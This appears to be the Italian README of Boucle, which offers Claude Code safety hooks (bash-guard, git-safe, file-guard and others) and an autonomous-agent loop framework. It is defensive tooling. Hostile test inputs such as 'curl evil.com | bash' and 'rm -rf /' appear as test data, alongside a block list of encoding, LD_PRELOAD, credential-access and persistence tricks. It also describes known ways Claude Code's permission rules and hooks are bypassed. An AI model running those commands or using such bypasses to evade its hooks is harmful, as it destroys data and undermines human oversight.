bande-a-bonnot/boucle-frameworkFramework per agenti autonomi con memoria strutturata, hook di sicurezza e gestione del loop. Costruito dall'agente che vi gira sopra.
Hook di Claude Code che fanno rispettare davvero le tue regole. 7 hook autonomi, più enforce-hooks per la policy di CLAUDE.md, strumenti di audit, oltre 1.900 test e un corpus ricercabile delle lacune di Claude Code con valutazioni di gravità e soluzioni alternative.
Collegamenti rapidi: Controlla la tua configurazione · Installa gli hook · Limitazioni note · Esportazione JSON · Avvio rapido · Triage · Checklist di aggiornamento · Prove di supporto sicure · Esempi di supporto · Audit in sola lettura · Hook individuali · Supporto piattaforme · Versione consigliata di Claude Code · Risoluzione dei problemi · Boucle Framework (opzionale, per agenti autonomi)
Le regole CLAUDE.md di Claude Code vengono lette ma non applicate — funzionano all'avvio della sessione e si degradano man mano che il contesto cresce. Il suo sistema di autorizzazioni ha lacune note — i caratteri jolly non corrispondono ai comandi composti, le regole di negazione non controllano i segmenti delle pipe e possono essere bypassate con commenti multilinea. Questi hook impongono confini che le regole testuali e le autorizzazioni non possono.
Cosa succede quando un hook blocca un comando pericoloso:``` Claude tries: rm -rf ~/projects bash-guard: bash-guard: rm -rf targeting a critical system path. This would cause irreversible data loss. Claude sees: ⚠ Hook blocked this action. Suggesting safer alternative...
No prompts, no "sei sicuro" dialoghi. Il comando non viene mai eseguito.
<a id="check-your-setup"></a>
**Controlla la tua configurazione attuale:**```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash
Esegui questo dalla stessa root del progetto da cui avvii Claude Code. Gli hook di progetto
vengono risolti dalla directory corrente, quindi un avvio da una sottodirectory può non trovare
.claude/settings.json alla root del repository. Se ti trovi già da qualche parte all'interno di un
checkout git:```sh
cd "$(git rev-parse --show-toplevel)"
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash
Valuta la tua configurazione di sicurezza di Claude Code con un voto da A a F e mostra correzioni in una riga per ogni lacuna. Aggiungi `--verify` per inviare payload di test a ogni hook e confermare che blocchino davvero:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify
Per CI o un controllo di workstation scriptato, fallire quando la verifica trova
un hook FAIL-OPEN, file di hook rotti, controlli PreToolUse saltati, nessun hook, o
nessun controllo del payload:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --strict
Usa la [guida ai controlli tramite script](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/CI.md) per GitHub Actions,
i controlli della workstation di sviluppo, i codici di uscita e i limiti di ciò che la CI può dimostrare.
Controlla l'installazione degli hook, la salute degli hook (script mancanti/non eseguibili), la verifica live (invia `rm -rf /` a bash-guard, `git push --force` a git-safe, ecc. e conferma che vengono bloccati), le regole enforce-hooks e `@enforced` di CLAUDE.md, i problemi di ambiente (IS_DEMO, impostazioni JSONC, dipendenze jq/python3, affidabilità degli hook su Windows) e le regressioni note di versione della CLI. Scansiona sia le impostazioni a livello utente (`~/.claude/settings.json`) sia quelle a livello di progetto (`.claude/settings.json`), con un inventario degli hook che mostra gli hook personalizzati/di terze parti accanto a quelli del framework. Il riepilogo conta 8 slot di hook del framework perché include l'hook di policy `enforce-hooks`; `install.sh all` installa i 7 hook standalone elencati di seguito. Avvisa inoltre quando le regole deny sono configurate senza bash-guard, poiché i pattern deny [possono essere bypassati](https://github.com/anthropics/claude-code/issues/38119) da comandi composti e script multi-linea. Nessuna installazione di hook richiesta per l'audit. Coperto da centinaia di test.
Per un percorso di 10 minuti dall'audit agli hook verificati, consulta la [guida rapida di safety-check](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/QUICKSTART.md).
Se hai bisogno di chiedere aiuto, usa la [guida alle evidenze per un supporto sicuro](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/SUPPORT_EVIDENCE.md)
per condividere il blocco di riepilogo senza esporre impostazioni private o segreti. Per
stampare solo quel blocco pubblico delimitato, esegui:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --summary-only
Per esempi di report pubblici sicuri e frammenti non sicuri da evitare, vedi safe support examples.
Per le lacune degli hook e dei permessi upstream di Claude Code, usa la pagina delle limitazioni ricercabili, l'esportazione JSON leggibile da macchina, o il feed Atom.
Requisiti macOS / Linux: bash, python3 e jq. Il programma di installazione usa
python3 per gestire il settings.json di Claude Code, safety-check usa python3 per
il suo audit, e la maggior parte degli hook standalone usa jq per analizzare i
payload degli hook di Claude Code.
Inizia con l'essenziale (bash-guard + git-safe + file-guard):```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- recommended
Questi tre hook formano la rete di sicurezza che ogni utente di Claude Code dovrebbe avere: bloccare i comandi pericolosi, prevenire operazioni git distruttive e proteggere i file sensibili. Dopo l'installazione, esegui il controllo di sicurezza qui sopra con `--verify` per confermare che ogni hook blocchi ciò che dovrebbe.
**Se l'installazione riesce ma gli hook non bloccano nulla:**
- Esegui prima `install.sh check --verify --strict` su macOS/Linux (`install.ps1 verify` su Windows nativo). Un'installazione pulita non è la prova che gli hook siano attivi.
- Esegui poi `install.sh doctor` (`install.ps1 doctor` su Windows). Rileva file mancanti, permessi errati, JSONC in `settings.json` e altri stati di fail-open silenziosi.
- Su Windows, usa PowerShell 7 (`pwsh`), non Windows PowerShell 5.
- Se scrivi hook di rifiuto personalizzati, preferisci `stderr` + `exit 2` per i blocchi rigidi. JSON `permissionDecision: "deny"` è ancora incoerente tra le superfici di Claude Code.
**Installa tutti gli hook in una volta:**```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- all
Windows (PowerShell 7+) — hook PS1 nativi, nessun requisito di bash o jq. Richiede PowerShell 7 (pwsh), non il PowerShell 5 integrato in Windows. Inizia con lo stesso set di sicurezza raccomandato:```powershell
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } recommended"
Oppure installa tutti gli hook standalone in una volta sola:```powershell
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all"
Gestisci gli hook:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- list
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- upgrade
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall read-once
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall all
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- backup
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- restore
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --summary-only
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --strict
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- doctor
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- help
**Equivalenti di Windows** (sintassi PowerShell):```powershell
# List, verify, upgrade, check, uninstall, doctor, backup/restore, help
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } list"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } upgrade"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --summary-only"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --strict"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } doctor"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } uninstall read-once"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } backup"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } restore"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } help"
install.ps1 verify e install.ps1 doctor usano hook nativi di PowerShell. Il comando install.ps1 check esegue l'audit di sicurezza basato su bash, quindi richiede Git Bash, WSL o un altro bash presente nel PATH.
Oppure scegli singoli hook:
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/read-once/install.sh | bash
Risparmia ~2000 token per ogni rilettura evitata. Include la [modalità diff](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/read-once/#diff-mode-opt-in) per flussi di lavoro modifica-verifica-modifica (80-95% di risparmio di token sui file modificati).
### [file-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/file-guard/) — Proteggere i file dall'accesso o dalla modifica da parte dell'IA```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/file-guard/install.sh | bash
Definisci i file protetti in .file-guard (un pattern per riga). Due modalità: write-protect (predefinita) blocca scritture, modifiche e comandi bash distruttivi. [deny] blocca ogni accesso, inclusi Read, Grep e Glob, utile per grandi directory di codegen dove Claude dovrebbe usare un server MCP invece di leggere direttamente i file. Risolve i symlink per prevenire bypass tramite collegamenti simbolici. Gestisce i percorsi assoluti (compatibilità v2.1.89+). ~140 test (bash + PowerShell).
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/git-safe/install.sh | bash
Blocca `git push --force`, `git reset --hard`, `git checkout .`, `git checkout HEAD -- path`, `git restore`, `git clean -f`, `git branch -D`, `--no-verify`, e altri comandi git distruttivi. Previene il [pattern esatto](https://github.com/anthropics/claude-code/issues/37888) che ha distrutto 30+ file nonostante 100+ regole CLAUDE.md. Suggerisce alternative più sicure. Lista consentita tramite configurazione `.git-safe`. ~145 test (88 bash + 57 PowerShell).
### [bash-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/bash-guard/) — Blocca comandi bash pericolosi```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/bash-guard/install.sh | bash
Blocca i comandi pericolosi nelle seguenti categorie:
rm -rf /, shred, truncate -s 0, cancellazione di massa (find -delete, xargs rm, git clean -f)sudo, pkexec, doas, pipe verso shell (curl|bash)diskutil eraseDisk/eraseVolume/partitionDisk, fdisk, gdisk, , (: 87GB di dati personali distrutti)Valuta ogni segmento dei comandi composti. Rileva il bypass tramite commenti multi-linea in cui le righe di commento prima di un comando pericoloso eludono le regole di blocco.
Rileva tentativi di bypass tramite encoding (offuscamento base64/hex/octal), reindirizzamento here-string/here-doc, iniezione di stringhe eval, tentativi di bypass tramite workaround, iniezione di librerie (LD_PRELOAD), bypass dei comandi wrapper, operazioni sui file delle credenziali, accesso al Keychain di macOS, persistenza tramite attività pianificate e gestione dei servizi.
Allowlist tramite config .bash-guard. 612 test bash verificati, con copertura aggiuntiva di PowerShell quando pwsh è disponibile.
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/branch-guard/install.sh | bash
Impedisce i commit diretti sui branch protetti (main, master, production, release). Impone un flusso di lavoro basato su feature branch. Personalizza i branch protetti tramite il config `.branch-guard` o la variabile d'ambiente `BRANCH_GUARD_PROTECTED`. Consente `--amend` su qualsiasi branch. ~55 test (bash + PowerShell).
### [worktree-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/worktree-guard/) — Previene la perdita di dati all'uscita dal worktree```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/worktree-guard/install.sh | bash
Quando usi claude -w, uscire dalla sessione elimina silenziosamente il branch del worktree e tutti i suoi commit. Questo hook blocca l'uscita quando ci sono modifiche non committate, file non tracciati, commit non mergiati o commit non pushati. Usa il matcher ExitWorktree così che venga eseguito solo quando si esce effettivamente da un worktree. Configurazione tramite .worktree-guard. ~65 test (bash + PowerShell).
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/session-log/install.sh | bash
Registra ogni chiamata di strumento in `~/.claude/session-logs/YYYY-MM-DD.jsonl`. Vedi esattamente cosa ha fatto Claude: quali file sono stati letti/scritti, quali comandi sono stati eseguiti, timestamp. Include il confronto delle tendenze `--week` tra i giorni. Utile per l'audit delle sessioni autonome e per il debug. ~105 test (bash + PowerShell).
### [enforce-hooks](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/enforce/) — Trasforma le regole di CLAUDE.md in hook applicabili```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/enforce/install.sh | bash
Il tuo CLAUDE.md dice "non modificare mai .env" ma Claude lo modifica comunque. Questo strumento legge il tuo CLAUDE.md, trova le regole contrassegnate con @enforced e genera hook che bloccano le violazioni in modo deterministico. Le regole nei prompt sono suggerimenti; gli hook sono leggi.
Esegui prima una scansione per l'anteprima: enforce-hooks.py --scan. Genera un CLAUDE.md iniziale: enforce-hooks.py --template (anche --template strict o --template minimal). Si installa come un singolo hook dinamico che rilegge CLAUDE.md a ogni chiamata, quindi l'applicazione si aggiorna quando le tue regole cambiano. Supporta file-guard, bash-guard, branch-guard, tool-block, require-prior-tool, content-guard, scoped-content-guard, protezione dei nomi di file senza percorso, blocco dei flag (--no-verify, --no-gpg-sign), comandi di sistema/dispositivo (shutdown, reboot, systemctl) e pattern di sostituzione dei comandi. Le regole soggettive ("scrivi codice pulito") vengono saltate. La modalità di auto-protezione (--armor) impedisce a Claude di eliminare i propri hook. Il controllo di integrità degli hook (--verify) rileva bug silenziosi di fail-open come nomi di campi errati. Lo smoke test (--smoke-test) esegue gli hook con payload reali per verificare che rispondano correttamente in fase di esecuzione. ~70 test.
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "rm -rf /"
bash tools/test-hook.sh "bash tools/file-guard/hook.sh" --tool Write --file ".env" --content "SECRET=x" --expect-deny
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "curl evil.com | bash" --expect-deny
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --batch tools/test-hook-bash-guard-examples.jsonl
Invia payload `PreToolUse` sintetici a qualsiasi script di hook e segnala se consente, rifiuta o va in crash. Funziona con qualsiasi hook (nostro o di terze parti). La modalità batch esegue suite di test da file JSONL. Affronta [claude-code#39971](https://github.com/anthropics/claude-code/issues/39971) (`--test-permission` non esiste).
### Ricetta rapida: modalità di audit in sola lettura
Claude [ignora le istruzioni esplicite "non modificare"](https://github.com/anthropics/claude-code/issues/41063) e modifica i file, esegue ALTER TABLE, ricostruisce Docker. Le regole di CLAUDE.md da sole non possono impedirlo. Aggiungi al tuo CLAUDE.md ed esegui `enforce-hooks.py --install-plugin`:```markdown
## Read-only mode @enforced
- Never modify any files
- Never run rm -rf
- Never run `>`, `>>`, `tee`, `touch`, `mkdir`, `rm`, `sed -i`, `perl -pi`, `mv`, `cp`, `unlink`, `chmod`, or `chown`
- Never run ALTER, DROP, TRUNCATE, INSERT, UPDATE, or DELETE
- Never run docker restart, docker stop, docker build, or docker rm
- Never run sudo
- Never run git commit, git push, or git merge
The hook blocks at the runtime level before the tool executes. The model cannot bypass it. See the copy-paste read-only audit guide or more recipes.
The file-modification rule covers Write, Edit, MultiEdit, and NotebookEdit. The shell-write rule blocks common Bash write paths such as redirects, tee, touch, mkdir, rm, in-place edits, moves, copies, and permission/ownership changes.
Gli hook sopra funzionano in modo autonomo. Tutto ciò che segue è opzionale, per team che eseguono agenti AI autonomi in produzione.
Un framework opinato per eseguire agenti AI autonomi in un ciclo. Svegliati. Pensa. Agisci. Impara. Ripeti.
Costruito dall'agente che ci gira sopra. Boucle è sviluppato e mantenuto da un agente autonomo che usa il framework per il proprio funzionamento.
doctor controlla la configurazione, validate rileva errori di configurazione, stats mostra la cronologia dei cicliScarica l'ultima release da GitHub Releases.```bash
tar xzf boucle-*-aarch64-apple-darwin.tar.gz mv boucle /usr/local/bin/
#### Opzione 2: Compila dal sorgente```bash
git clone https://github.com/Bande-a-Bonnot/Boucle-framework.git
cd Boucle-framework
cargo build --release
export PATH="$PWD/target/release:$PATH"
mkdir my-agent cd my-agent
boucle init --name my-agent
boucle doctor
boucle run --dry-run
boucle run
boucle schedule --interval 1h
`boucle init` scrive `agent.model = "gpt-5.4"` come impostazione predefinita, che usa la
CLI di Codex. Per usare invece Claude, imposta `agent.model` su un nome di modello Claude
come `claude-sonnet-4-20250514`.
### Sistema di Memoria (Broca)
Broca è un sistema di conoscenza basato su file e nativo di git per agenti AI. Le memorie sono file Markdown con frontmatter YAML.```bash
# Store a memory
boucle memory remember "Python packaging" "Modern projects use pyproject.toml" --tags "python,packaging"
# Store a time-sensitive fact
boucle memory remember "API status" "Payment API is degraded" --tags "incident" --valid-until 2026-05-23
# Search memories
boucle memory recall "python packaging" --limit 5
# Search by tag
boucle memory search-tag "security"
# Add a journal entry
boucle memory journal "Discovered API rate limits are 100/min"
# View statistics
boucle memory stats
setuptools with setup.py is legacy. Modern Python projects use pyproject.toml with build backends like hatchling, flit, or setuptools itself.
Broca supporta anche:
- **Ricerca BM25** — Ranking di rilevanza normalizzato per lunghezza del documento e rarità del termine
- **Decadimento temporale** — I ricordi recenti ottengono punteggi più alti; la frequenza di accesso viene tracciata automaticamente
- **Validità temporale** - I fatti sensibili al tempo possono avere `ttl` o `valid_until`, e il richiamo avvisa quando sono obsoleti
- **Garbage collection** — Archivia le voci sostituite, a bassa confidenza o obsolete (reversibile, dry-run di default)
- **Incremento dei riferimenti incrociati** — Le voci correlate emergono insieme nei risultati di ricerca
- **Consolidamento** — Rileva e unisce ricordi quasi duplicati usando la similarità di Jaccard
- **Tracciamento della confidenza** — `boucle memory update-confidence <id> <score>`
- **Sostituzione** — `boucle memory supersede <old-id> <new-id>` quando la conoscenza evolve
- **Relazioni** — `boucle memory relate <id1> <id2> <relation>` per collegare le voci
- **Reindicizzazione** — `boucle memory index` per ricostruire l'indice di ricerca
### Motore di Auto-Osservazione
Gli agenti con memoria ricordano quello che è successo. Gli agenti con auto-osservazione notano ciò che continua ad accadere e sviluppano risposte a riguardo.```bash
# Log a signal when something goes wrong
boucle signal friction "auth keeps failing on retry" auth-flaky
# Run the pipeline (harvest → classify → score → promote)
boucle improve run
# See what patterns have emerged
boucle improve status
Il motore monitora quattro tipi di segnali: attrito (qualcosa è stato più difficile del dovuto), guasto (qualcosa si è rotto), spreco (sforzo che non ha prodotto nulla), sorpresa (comportamento inatteso).
I segnali con la stessa impronta si accumulano in pattern. Quando un pattern si ripete a sufficienza, il motore lo fa emergere come azione in sospeso. Distribuisci una risposta (uno script, una modifica alla configurazione, un nuovo hook) e il motore monitora se quella risposta riduce effettivamente il tasso di segnali.
Harvester componibili: Gli script in improve/harvesters/ vengono eseguiti automaticamente e rilevano segnali da log, metriche o qualsiasi fonte. Ciascuno riceve la root dell'agente come $1 e produce segnali JSONL su stdout.```bash
boucle improve init
### MCP Server
Boucle espone Broca come server Model Context Protocol, così altri agenti AI possono condividere la memoria.```bash
# Start MCP server (stdio transport)
boucle mcp --stdio
# Or HTTP transport
boucle mcp --port 8080
Strumenti disponibili: broca_remember, broca_recall, broca_journal, broca_relate, broca_supersede, broca_stats, broca_search_tags, broca_list, broca_show, broca_gc, broca_restore, broca_archived, broca_consolidate
broca_remember supporta metadati di freschezza (ttl_days o valid_until) per fatti sensibili al tempo. Il recall mantiene visibili le voci obsolete, ma le etichetta e le declassa, così che metriche o decisioni passate non vengano riusate come verità corrente.
Funziona con Claude Desktop, Claude Code o qualsiasi client compatibile con MCP.
Ogni strumento ha il proprio README con documentazione completa: read-once, file-guard, git-safe, bash-guard, branch-guard, session-log, enforce-hooks, safety-check, worktree-guard, diagnose, test-hook.
your-agent/ ├── boucle.toml # Agent configuration ├── system-prompt.md # Agent identity and rules (optional) ├── allowed-tools.txt # Tool restrictions (optional) ├── memory/ # Persistent knowledge (Broca) │ ├── state.md # Current state — read at loop start, updated at loop end │ ├── knowledge/ # Learned facts, indexed by topic │ └── journal/ # Timestamped iteration summaries ├── goals/ # Active objectives ├── logs/ # Full iteration logs ├── gates/ # Pending approval requests ├── context.d/ # Scripts that add context sections (optional) └── hooks/ # Lifecycle hooks (optional) ├── pre-run # Before each iteration ├── post-context # After context assembly (stdin: context, stdout: modified) ├── post-llm # After LLM completes ($1: exit code) └── post-commit # After git commit ($1: timestamp)
### How It Works
Ogni iterazione del ciclo:
1. **Wake** — Lock acquisito con verifica del proprietario, contesto assemblato da memoria + obiettivi + azioni in sospeso
2. **Think** — L'agente legge il suo stato completo e decide cosa fare entro il timeout LLM configurato
3. **Act** — L'agente esegue: scrive codice, fa ricerche, crea piani, richiede approvazioni
4. **Learn** — L'agente aggiorna la sua memoria con ciò che ha imparato
5. **Sleep** — Modifiche committate su git, lock rilasciato, l'agente attende la prossima iterazione
### Configurazione```toml
# boucle.toml
[agent]
name = "my-agent"
description = "A helpful autonomous agent"
model = "gpt-5.4" # gpt-* models use Codex CLI
system_prompt = "system-prompt.md"
[memory]
dir = "memory"
state_file = "STATE.md"
[loop]
context_dir = "context.d"
hooks_dir = "hooks"
log_dir = "logs"
[schedule]
interval = "1h"
I nomi dei modelli che iniziano con gpt- vengono eseguiti tramite codex exec. I nomi dei modelli Claude
vengono eseguiti tramite claude -p. I confini di approvazione sono una questione di policy di prompt e di processo, quindi
inseriscili in system-prompt.md e verificali con i tuoi hook o con il
processo di revisione.
context.d/)Script eseguibili che iniettano contesto in ogni iterazione. Ciascuno riceve la directory dell'agente come $1 e produce Markdown su stdout.```bash
#!/bin/bash
echo "## Weather" curl -s wttr.in/?format=3
#### Hook del ciclo di vita (`hooks/`)
| Hook | Quando | Argomenti | Caso d'uso |
|------|------|-----------|----------|
| `pre-run` | Prima dell'iterazione | `$1`: timestamp | Setup, controlli di salute |
| `post-context` | Dopo l'assemblaggio del contesto | stdin: contesto | Modifica/filtra il contesto |
| `post-llm` | Dopo il completamento del LLM | `$1`: codice di uscita | Notifiche, pulizia |
| `post-commit` | Dopo il commit git | `$1`: timestamp | Push sul remoto, deploy |
#### Restrizioni degli strumenti (`allowed-tools.txt`)```
Read
Write
Edit
Glob
Grep
WebSearch
Bash(git:*)
Bash(python3:*)
Se questo file non esiste, tutti gli strumenti sono disponibili.
boucle init [--name ] # Initialize new agent (default: my-agent) boucle run # Run one iteration boucle run --dry-run # Preview context without calling LLM boucle doctor # Check prerequisites and agent health boucle validate # Validate config (catches typos, bad values, path issues) boucle stats # Show aggregate loop statistics boucle status # Show agent status boucle log [--count ] # Show loop history (default: 10 entries) boucle schedule --interval # Set up scheduled execution (e.g., 1h, 30m, 5m) boucle plugins # List available plugins
boucle signal
boucle memory remember <content> [--tags <tags>] [--entry-type <type>] [--ttl <days>] [--valid-until <date>] boucle memory recall <query> [--limit <n>] boucle memory show <id> boucle memory search-tag <tag> boucle memory journal <content> boucle memory update-confidence <id> <score> boucle memory supersede <old-id> <new-id> boucle memory relate <id1> <id2> <relation> boucle memory stats boucle memory index boucle memory gc [--apply] # Archive stale/superseded entries boucle memory consolidate [--apply] # Merge near-duplicate entries
boucle mcp --stdio # stdio transport boucle mcp --port # HTTP transport
boucle --root # Use specific agent directory boucle --help # Show help boucle --version # Show version
### Principi di progettazione
1. **File invece di database.** La memoria è Markdown. La configurazione è TOML. I log sono testo semplice. Tutto è leggibile dall'uomo e diffabile con git.
2. **I confini sono funzionalità.** I gate di approvazione rendono affidabili gli agenti autonomi. Un agente che può spendere i tuoi soldi senza chiedere non è autonomo, è pericoloso.
3. **Conoscenza composta.** Ogni iterazione dovrebbe rendere l'agente più intelligente. La memoria non è una cache — è un investimento.
4. **Trasparenza per impostazione predefinita.** Se non puoi vedere cosa ha fatto l'agente e perché, qualcosa non va.
<a id="platform-support"></a>
## Piattaforme supportate
| | macOS | Linux | Windows (WSL) | Windows (native PS7) |
|---|:---:|:---:|:---:|:---:|
| bash-guard | Sì | Sì | Sì | Sì (.ps1) |
| git-safe | Sì | Sì | Sì | Sì (.ps1) |
| file-guard | Sì | Sì | Sì | Sì (.ps1) |
| read-once | Sì | Sì | Sì | Sì (.ps1) |
| branch-guard | Sì | Sì | Sì | Sì (.ps1) |
| worktree-guard | Sì | Sì | Sì | Sì (.ps1) |
| session-log | Sì | Sì | Sì | Sì (.ps1) |
| enforce-hooks | Sì | Sì | Sì (bash) | WSL o Git Bash |
| safety-check | Sì | Sì | Sì | Parziale (richiede bash) |
| Installer | `install.sh` | `install.sh` | `install.sh` | `install.ps1` |
| Affidabilità hook | Completa | Completa | Completa | [~18%](https://github.com/anthropics/claude-code/issues/37988) |
**Esperienza migliore:** macOS o Linux. **Windows:** usa WSL per un'affidabilità totale. Gli hook PowerShell nativi funzionano, ma Claude Code li esegue in modo incoerente ([#37988](https://github.com/anthropics/claude-code/issues/37988)).
<a id="recommended-claude-code-version"></a>
## Versione consigliata di Claude Code
**Usa l'ultima release di Claude Code.** Claude Code cambia rapidamente; controlla
il [feed delle release](https://github.com/anthropics/claude-code/releases) di Anthropic
prima di fissare una versione, poi esegui `safety-check` con `--verify` per confermare
che gli hook vengano attivati correttamente nel tuo ambiente. Le versioni seguenti sono
punti di rottura storici legati agli hook, non un monitoraggio della release corrente:
| Versione | Problema |
|---|---|
| v2.1.91+ | Ripristina i permessi di esecuzione di `rg` incluso, correggendo le regressioni di individuazione dei comandi di progetto dalla v2.1.88-89 ([#41497](https://github.com/anthropics/claude-code/issues/41497), [#41864](https://github.com/anthropics/claude-code/issues/41864)) |
| v2.1.90+ | Versione minima per il miglioramento del blocco exit-2 + JSON, la correzione del format-on-save di PostToolUse e 4 correzioni per l'elusione dei permessi in PowerShell |
| v2.1.89 | Aggiunge `PermissionDenied`, `defer`, `file_path` assoluto e il matching di comandi composti nelle condizioni `if` degli hook, ma presentava ancora regressioni nell'individuazione dei comandi e nella visualizzazione di `SessionStart` |
| v2.1.88 | [Deprecata/rimossa da npm](https://github.com/anthropics/claude-code/issues/41497): comandi/skill personalizzati non funzionanti, perdita di source map |
| v2.1.81-84 | [L'elusione dei permessi si azzera a metà sessione](https://github.com/anthropics/claude-code/issues/37745) quando sono installati gli hook PreToolUse |
| < v2.1.50 | Nessun supporto al formato `hookSpecificOutput` (la forma deprecata `decision: "block"` funziona ancora ma andrebbe migrata) |
Esegui `claude --version` per controllare la tua installazione locale.
## Risoluzione dei problemi
**Commenti JSONC in settings.json**: se il tuo `~/.claude/settings.json` contiene commenti `//` o `/* */`, gli hook potrebbero smettere di funzionare silenziosamente ([claude-code#37540](https://github.com/anthropics/claude-code/issues/37540)). I nostri installer rilevano JSONC e rimuovono automaticamente i commenti (creando un backup `.bak`). Se gli hook non si attivano, controlla la presenza di commenti nel tuo file di impostazioni.
**Hook che non bloccano**: Claude Code attiva gli hook solo sulle chiamate agli strumenti, non durante l'assemblaggio del prompt. Funzionalità come l'autocompletamento con @ iniettano il contenuto dei file prima che gli hook possano intercettarlo. Vedi [claude-code#32928](https://github.com/anthropics/claude-code/issues/32928).
**Hook di progetto ignorati dalle sottodirectory**: se il tuo repository memorizza gli hook
in `.claude/settings.json` nella radice del repo, avvia Claude Code ed esegui
`safety-check` dalla stessa radice. L'avvio da una sottodirectory può portare
Claude a trattare quella sottodirectory come radice del progetto e a saltare gli
hook del progetto padre senza alcun avviso. `safety-check` segnala questo come
avviso di impostazioni del progetto padre. Su Windows PowerShell nativo, esegui
`Set-Location (git rev-parse --show-toplevel)` dall'interno della checkout prima
di eseguire `install.ps1 verify`.
**L'elusione dei permessi si azzera con gli hook installati**: se usi `--dangerously-skip-permissions` (comune nelle configurazioni autonome), gli hook PreToolUse possono [far azzerare lo stato dei permessi a metà sessione](https://github.com/anthropics/claude-code/issues/37745), riportando tutti gli strumenti all'approvazione manuale. Questo è un bug della piattaforma, non degli hook. Se gli strumenti richiedono improvvisamente approvazione 30-120 minuti dopo l'inizio di una sessione, è per questo motivo.
**La variabile d'ambiente IS_DEMO disabilita tutti gli hook**: se `IS_DEMO=1` è impostata nel tuo ambiente (a volte tramite le impostazioni dell'IDE o del workspace cloud), Claude Code [salta silenziosamente l'esecuzione di tutti gli hook](https://github.com/anthropics/claude-code/issues/37780) sopprimendo la fiducia del workspace senza concederla. Esegui `echo $IS_DEMO` per verificare. Il nostro strumento `safety-check` lo rileva automaticamente.
